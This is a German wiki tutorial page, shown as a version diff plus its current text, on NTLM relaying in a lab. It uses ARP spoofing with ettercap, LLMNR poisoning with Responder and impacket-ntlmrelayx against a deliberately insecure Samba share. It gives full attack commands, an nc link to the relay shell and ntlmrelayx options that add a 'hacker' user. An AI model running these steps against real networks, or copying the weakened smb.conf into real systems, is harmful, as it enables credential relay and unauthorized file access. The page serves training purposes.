NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Keine Bearbeitungszusammenfassung
 
(14 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
= ARP-Spoofing & NTLMv2-Relay gegen SMB-Zielserver =
= NTLM-Relay auf Samba-Freigabe mit Impacket =


== Zielsetzung ==
== Allgemeine Funktionsweise ==
Ein Windows-10-Client (10.0.10.102) wird per ARP-Spoofing in einen Man-in-the-Middle gebracht.
 
Anschließend wird mittels LLMNR/NBNS-Spoofing durch Responder ein NTLMv2-Hash abgefangen und mit ntlmrelayx an einen Samba-Server (10.0.10.104) weitergeleitet, um dort eine Datei hochzuladen.
=== responder ===
* Lauscht im lokalen Netz auf Anfragen per LLMNR (UDP 5355) und NBT-NS (UDP 137)
* Antwortet gezielt auf Namensanfragen, wenn ein Windows-Client einen Hostnamen nicht auflösen kann
* Täuscht dem Client vor, der gesuchte Host zu sein, und provoziert so eine NTLM-Authentifizierung
 
=== ntlmrelayx ===
* Fängt die NTLM-Authentifizierung des Clients ab
* Leitet sie im Relay-Modus an ein vom Angreifer bestimmtes Ziel weiter (z. B. einen Samba-Server)
* Baut auf dem Zielsystem eine authentifizierte Session auf, ohne das Passwort zu kennen
* Bietet eine interaktive SMB-Shell, um Freigaben zu nutzen oder Dateien hochzuladen
 
== Ziel ==
Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.


== Umgebung ==
== Umgebung ==
{| class="wikitable"
* Angreifer: Kali Linux mit responder und impacket
! System !! IP-Adresse !! Rolle
* Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
|-
* Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
| Kali Linux || 10.0.10.101 || Angreifer (ettercap, responder, ntlmrelayx)
 
|-
== Samba-Freigabe vorbereiten ==
| Windows 10 || 10.0.10.102 || Opfer (NTLM-fähig, ungehärtet)
 
|-
Konfiguration in '''/etc/samba/smb.conf''':
| Samba-Server || 10.0.10.104 || Relay-Ziel (kein SMB Signing aktiviert)
<pre>
|}
[global]
  workgroup = WORKGROUP
  server string = Relayziel
  guest account = nobody
  ntlm auth = yes
  lanman auth = yes
  client lanman auth = yes
  client ntlmv2 auth = yes
  server min protocol = NT1
 
[share]
  comment = Relay-Ziel
  path = /mnt/media/share
  read only = no
  guest ok = yes
  public = yes
  browseable = yes
  force user = nobody
  force group = nogroup
 
[homes]
  comment = Home Directories
  valid users = %S
  browseable = No
  read only = No
  inherit acls = Yes
  create mode = 0600
  directory mode = 0700                         
</pre>
 
Verzeichnis erstellen und Rechte setzen:
<pre>
mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd
</pre>
 
== Verbindung testen ==
<pre>
smbclient -L //10.0.10.104 -N
</pre>
 
→ Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.
 
== responder starten ==
<pre>
responder -I eth0 -wd
</pre>
 
Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen.


== Vorbereitung auf Kali (10.0.10.101) ==
== ntlmrelayx starten ==
* Relay-Share vorbereiten:
<pre>
mkdir -p ~/relay-share
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
echo "Owned by Kali" > ~/relay-share/pwned.txt
</pre>


* Responder konfigurieren:
ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. 
nano /etc/responder/Responder.conf
Bei Erfolg wird eine interaktive SMB-Shell auf Port 11000 geöffnet.


* Abschnitt [SMB] ändern:
== Angriff auslösen ==
[SMB]
Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen:
SMB = Off
<pre>
\\irgendwas
</pre>


* Damit Responder nicht selbst den SMB-Port (445) blockiert – sonst funktioniert ntlmrelayx nicht!
Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel.


== Angriffsdurchführung auf Kali (10.0.10.101) ==
== Erfolgreicher Zugriff ==
=== ARP-Spoofing zwischen Opfer und Zielserver ===
In ntlmrelayx erscheint:
ettercap -Tq -i eth0 -M arp /10.0.10.102// /10.0.10.104//
<pre>
[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...
</pre>


=== Responder starten (nur als Spoofer) ===
Verbindung zur SMB-Shell herstellen:
responder -I eth0 -w
<pre>
nc localhost 11000
</pre>


=== ntlmrelayx starten ===
Innerhalb der Shell:
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i ~/relay-share --no-wcf-server --no-ldap
<pre>
shares
use share
ls
upload /tmp/test.txt
</pre>


== Aktion auf dem Windows-Client (10.0.10.102) ==
Auf dem Zielsystem prüfen:
* Windows Explorer öffnen und folgendes eingeben:
<pre>
  \\irgendwas\test
ls -l /mnt/media/share
</pre>


ODER:
→ Die Datei ist vorhanden.


* In der Eingabeaufforderung:
== Fehlerbehebung ==
  dir \\irgendeinserver\c$


== Ergebnis ==
{| class="wikitable"
* Die Datei „pwned.txt“ wird über ntlmrelayx auf dem Samba-Share (10.0.10.104) abgelegt.
! Problem || Mögliche Ursache || Lösung
* In ntlmrelayx erscheint:
|-
  [*] SMB relay attack successful...
| Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
  [*] Uploaded file pwned.txt to share
|-
| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Bad User, ntlm auth = yes
|-
| Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen
|-
| Kein Poisoning || LLMNR deaktiviert || Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs
|-
| Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen
|-
| ntlmrelayx zeigt nichts || Kein NTLM angekommen || UNC muss nicht auflösbar sein (z. B. \\irgendwas)
|}


== Hinweise ==
== Hinweise ==
* Kein IP-Forwarding notwendig – Ettercap leitet Layer 2 Pakete direkt weiter.
* Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing
* SMB muss in Responder deaktiviert werden, sonst blockiert er Port 445.
* Für realistische Szenarien sollte SMB-Signing am Server aktiv sein
* ntlmrelayx kann alternativ Kommandos ausführen:
* Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying
  --command "net user hacker 1234 /add"
  --command "cmd.exe /c echo PWNED > C:\pwned.txt"

Aktuelle Version vom 18. Mai 2025, 18:23 Uhr

NTLM-Relay auf Samba-Freigabe mit Impacket

Allgemeine Funktionsweise

responder

  • Lauscht im lokalen Netz auf Anfragen per LLMNR (UDP 5355) und NBT-NS (UDP 137)
  • Antwortet gezielt auf Namensanfragen, wenn ein Windows-Client einen Hostnamen nicht auflösen kann
  • Täuscht dem Client vor, der gesuchte Host zu sein, und provoziert so eine NTLM-Authentifizierung

ntlmrelayx

  • Fängt die NTLM-Authentifizierung des Clients ab
  • Leitet sie im Relay-Modus an ein vom Angreifer bestimmtes Ziel weiter (z. B. einen Samba-Server)
  • Baut auf dem Zielsystem eine authentifizierte Session auf, ohne das Passwort zu kennen
  • Bietet eine interaktive SMB-Shell, um Freigaben zu nutzen oder Dateien hochzuladen

Ziel

Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.

Umgebung

  • Angreifer: Kali Linux mit responder und impacket
  • Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
  • Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)

Samba-Freigabe vorbereiten

Konfiguration in /etc/samba/smb.conf:

[global]
   workgroup = WORKGROUP
   server string = Relayziel
   guest account = nobody
   ntlm auth = yes
   lanman auth = yes
   client lanman auth = yes
   client ntlmv2 auth = yes
   server min protocol = NT1

[share]
   comment = Relay-Ziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup

[homes]
   comment = Home Directories
   valid users = %S
   browseable = No
   read only = No
   inherit acls = Yes
   create mode = 0600
   directory mode = 0700                          

Verzeichnis erstellen und Rechte setzen:

mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd

Verbindung testen

smbclient -L //10.0.10.104 -N

→ Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.

responder starten

responder -I eth0 -wd

Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen.

ntlmrelayx starten

impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. Bei Erfolg wird eine interaktive SMB-Shell auf Port 11000 geöffnet.

Angriff auslösen

Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen:

\\irgendwas

Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel.

Erfolgreicher Zugriff

In ntlmrelayx erscheint:

[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...

Verbindung zur SMB-Shell herstellen:

nc localhost 11000

Innerhalb der Shell:

shares
use share
ls
upload /tmp/test.txt

Auf dem Zielsystem prüfen:

ls -l /mnt/media/share

→ Die Datei ist vorhanden.

Fehlerbehebung

Problem Mögliche Ursache Lösung
Kein Relay möglich SMB Signing aktiv smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
Kein Login NTLM wird abgelehnt In smb.conf: map to guest = Bad User, ntlm auth = yes
Keine Shell Share nicht schreibbar read only = no, force user = nobody, chmod 777 prüfen
Kein Poisoning LLMNR deaktiviert Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs
Verbindung scheitert Routing-Problem ping vom Kali auf Ziel prüfen
ntlmrelayx zeigt nichts Kein NTLM angekommen UNC muss nicht auflösbar sein (z. B. \\irgendwas)

Hinweise

  • Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing
  • Für realistische Szenarien sollte SMB-Signing am Server aktiv sein
  • Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying